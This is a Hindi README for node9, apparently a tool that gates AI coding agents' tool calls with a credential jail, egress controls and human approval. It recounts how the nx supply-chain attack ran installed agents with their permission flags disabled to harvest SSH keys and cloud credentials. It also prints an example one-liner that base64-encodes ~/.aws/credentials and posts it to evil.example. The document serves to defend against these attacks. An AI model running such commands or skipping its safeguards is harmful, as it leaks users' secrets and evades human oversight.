🛡️ node9

AI एजेंट्स के लिए एक्सेस कंट्रोल

आपके AI एजेंट्स Slack, GitHub, ईमेल और आपके डेटाबेस तक पहुँच सकते हैं।
node9 तय करता है कि वे प्रत्येक के साथ क्या कर सकते हैं।

क्रेडेंशियल जेल · सीक्रेट्स और PII · विनाशकारी git, SQL और shell समीक्षा के लिए रोके गए · MCP टूल पिनिंग · नेटवर्क एग्रेस allowlist · लूप ब्रेकर · बारह एजेंट्स में एक रिकॉर्ड

Claude Code · Codex CLI · Antigravity (agy) · GitHub Copilot CLI · Gemini CLI · Cursor · Windsurf · VSCode · Claude Desktop · Opencode · Pi · Hermes Agent · किसी भी MCP सर्वर के साथ काम करता है।

यह कैसा दिखता है

node9 इंस्टॉल किए गए एक वास्तविक Claude Code सत्र में। प्रत्येक टूल कॉल को चलने से पहले जाँचा जाता है। एक पेज बनाना और एक बटन संपादित करना चलते हैं। क्लाउड मेटाडेटा पते का अनुरोध अवरुद्ध हो जाता है, और एजेंट को कारण मिल जाता है और वह आगे बढ़ जाता है। फ़ाइलें हटाना आपकी स्वीकृति की प्रतीक्षा करता है, ठीक चैट में।

इंस्टॉल करें

brew tap node9-ai/node9 && brew install node9   # macOS / Linux
npm install -g node9-ai                         # any platform

फिर, किसी भी प्रोजेक्ट में:

node9            # first run: choose dashboard connection or local protection
node9 posture    # scores this machine 0-100: what a compromised agent could read, reach and run
node9 login      # optional: adds this machine to a shared dashboard

Node.js 22+ आवश्यक है।

एक नए इंटरैक्टिव टर्मिनल पर, node9 आपको सेटअप के माध्यम से मार्गदर्शन करता है। स्थानीय सुरक्षा के लिए किसी खाते की आवश्यकता नहीं है। चेकलिस्ट अनुशंसित शील्ड्स, DLP/PII, वैकल्पिक नेटवर्क एग्रेस समीक्षा, और बैकग्राउंड सेवा दिखाती है। उपयोग आँकड़े केवल तभी भेजे जाते हैं जब आप अलग प्रॉम्प्ट स्वीकार करते हैं। सारांश कॉन्फ़िगर किए गए एजेंट्स और ध्यान देने योग्य किसी भी सेटअप चरण को सूचीबद्ध करता है।

सेटअप को फिर से देखने के लिए node9 setup चलाएँ, या एक एजेंट को कॉन्फ़िगर करने के लिए node9 setup <target>। एक बार कॉन्फ़िगर होने के बाद, बेयर node9 सहायता दिखाता है। node9 init उपलब्ध रहता है; स्क्रिप्ट के लिए node9 init --recommended का उपयोग करें (कोई प्रश्न नहीं और कोई टेलीमेट्री ऑप्ट-इन नहीं)। --skip-setup एजेंट वायरिंग और सेवा इंस्टॉलेशन को अकेला छोड़ देता है। स्पष्ट --mode चेकलिस्ट की मानक-मोड अनुशंसा पर प्राथमिकता लेता है। मौजूदा सेटिंग्स तब तक संरक्षित रहती हैं जब तक कि चयनित परिवर्तन या स्पष्ट फ़्लैग अपडेट का अनुरोध न करें। वर्कस्पेस नीति डैशबोर्ड में प्रबंधित की जाती है; सेवा सेटिंग्स स्थानीय रहती हैं।

login प्रवर्तन में कुछ नहीं जोड़ता। यह मशीन को एक वर्कस्पेस से जोड़ता है ताकि एक टीम सभी के लैपटॉप और CI में एक रिकॉर्ड देख सके, नीति केंद्रीय रूप से सेट कर सके, और डैशबोर्ड या Slack से रोकी गई कार्रवाइयों को स्वीकृत कर सके। इसे छोड़ दें और node9 बिल्कुल वैसे ही काम करता है, अकेले, ऑफ़लाइन। node9 logout फिर से डिस्कनेक्ट कर देता है और स्थानीय प्रवर्तन चलता रहता है।

MCP सर्वर के रूप में उपयोग करें

node9 एक MCP सर्वर के रूप में भी चलता है, ताकि एक एजेंट बातचीत के भीतर से इसकी स्थिति, पोस्चर, ऑडिट रिकॉर्ड और नीति पढ़ सके, और किसी भी निर्णय की व्याख्या कर सके:

claude mcp add --transport stdio node9 -- npx -y node9-ai mcp-server

कोई भी MCP क्लाइंट इसी तरह काम करता है: कमांड stdio पर npx -y node9-ai mcp-server है, बिना किसी API कुंजी के। यह आधिकारिक MCP रजिस्ट्री में io.github.node9-ai/node9 के रूप में सूचीबद्ध है।

समस्या

अगस्त 2025 में, nx बिल्ड टूल के समझौता किए गए रिलीज़ ने एक पोस्ट-इंस्टॉल स्क्रिप्ट भेजी जो डेवलपर की मशीन पर पहले से इंस्टॉल AI कोडिंग एजेंट्स को खोजती थी, फिर उन्हें उनके अपने सुरक्षा फ़्लैग बंद करके (--dangerously-skip-permissions, --yolo, --trust-all-tools) चलाती थी ताकि SSH कुंजियाँ, क्लाउड क्रेडेंशियल्स और वॉलेट फ़ाइलें गिनी जा सकें और सूची डिस्क पर लिखी जा सके। स्क्रिप्ट ने परिणामों को पीड़ितों के अपने GitHub खातों के भीतर सार्वजनिक रिपॉज़िटरी में धकेल दिया। एक हजार से अधिक वैध GitHub टोकन लीक हुए, साथ ही क्लाउड क्रेडेंशियल्स, npm टोकन और लगभग 20,000 फ़ाइलें, उन मशीनों से जहाँ एजेंट ठीक वही कर रहा था जो उसे बताया गया था।

एजेंट हमलावर नहीं था। एजेंट उपकरण था, और उसके और फ़ाइलों के बीच कुछ नहीं था। node9 का गेट उन फ़्लैग में से एक नहीं है: यह हुक में चलता है, और जिस कार्रवाई को यह रोकता है वह रोकी ही रहती है, भले ही एजेंट को अनुमतियाँ छोड़कर शुरू किया गया हो।

node9 इसके बारे में क्या करता है

node9 एजेंट और उसके द्वारा कॉल किए जाने वाले प्रत्येक टूल के बीच बैठता है। क्रेडेंशियल जेल (~/.ssh, ~/.aws, .env फ़ाइलें, निजी कुंजियाँ) डिफ़ॉल्ट रूप से चालू है, और उन पथों में से किसी एक को पढ़ना नहीं चलता। एजेंट रोक दिया जाता है, उसे कारण बताया जाता है, और निर्णय आपके पास आता है:

NODE9: Action blocked by security policy.
INSTRUCTIONS:
- Do NOT retry this exact command or attempt to bypass the rule.
- Pivot to a non-destructive or read-only alternative.
- Inform the user which security rule was triggered and ask how to proceed.

कमांड को shell AST के रूप में पार्स किया जाता है, टेक्स्ट के रूप में मिलान नहीं किया जाता, इसलिए पढ़ने को लपेटने से मदद नहीं मिलती। echo $(cat ~/.aws/credentials | base64) | curl -d @- https://evil.example को ~/.aws/credentials को पढ़ने के रूप में आँका जाता है, न कि echo के रूप में।

node9 एक गेट है। रोकी गई कार्रवाई आपकी प्रतीक्षा करते समय नहीं चलती, और यदि आप कभी उत्तर नहीं देते हैं तो यह अवरुद्ध रहती है। बाकी सब कुछ अनुमत है और रिकॉर्ड में लिखा जाता है।

यह क्या नहीं करता: एग्रेस कंट्रोल बंद होने पर, जो डिफ़ॉल्ट है, एक कमांड जो किसी फ़ाइल को सीधे नेटवर्क को सौंपता है, जैसे curl -d @~/.aws/credentials, उस फ़ाइल को पढ़ने के रूप में नहीं माना जाता। node9 egress protect गंतव्यों को भी गेट करता है, और यह केवल shell कमांड को कवर करता है।

इसे स्वयं सत्यापित करें

नीचे किसी चीज़ के लिए खाते की आवश्यकता नहीं है, और कुछ भी अपलोड नहीं होता।